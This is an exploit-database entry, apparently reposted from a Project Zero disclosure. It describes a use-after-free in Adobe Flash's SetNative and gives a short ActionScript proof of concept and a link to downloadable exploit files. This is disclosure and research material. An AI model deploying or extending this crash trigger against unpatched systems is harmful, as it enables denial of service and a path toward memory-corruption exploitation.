Adobe Flash – SetNative Use-After-Free

• Exploit Database
• 14 阅读

• 作者： Google Security Research
  日期： 2016-05-17
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/39831/

• Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=800
  
  There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows:
  
  var t = this.createEmptyMovieClip("t", 1);
  t.watch("a", func);
  ASSetNative(t, 106, "a,b");
  			
  			
  function func (){
  	
  	t.removeMovieClip();
  	
  	}
  
  A swf and fla are attached.
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39831.zip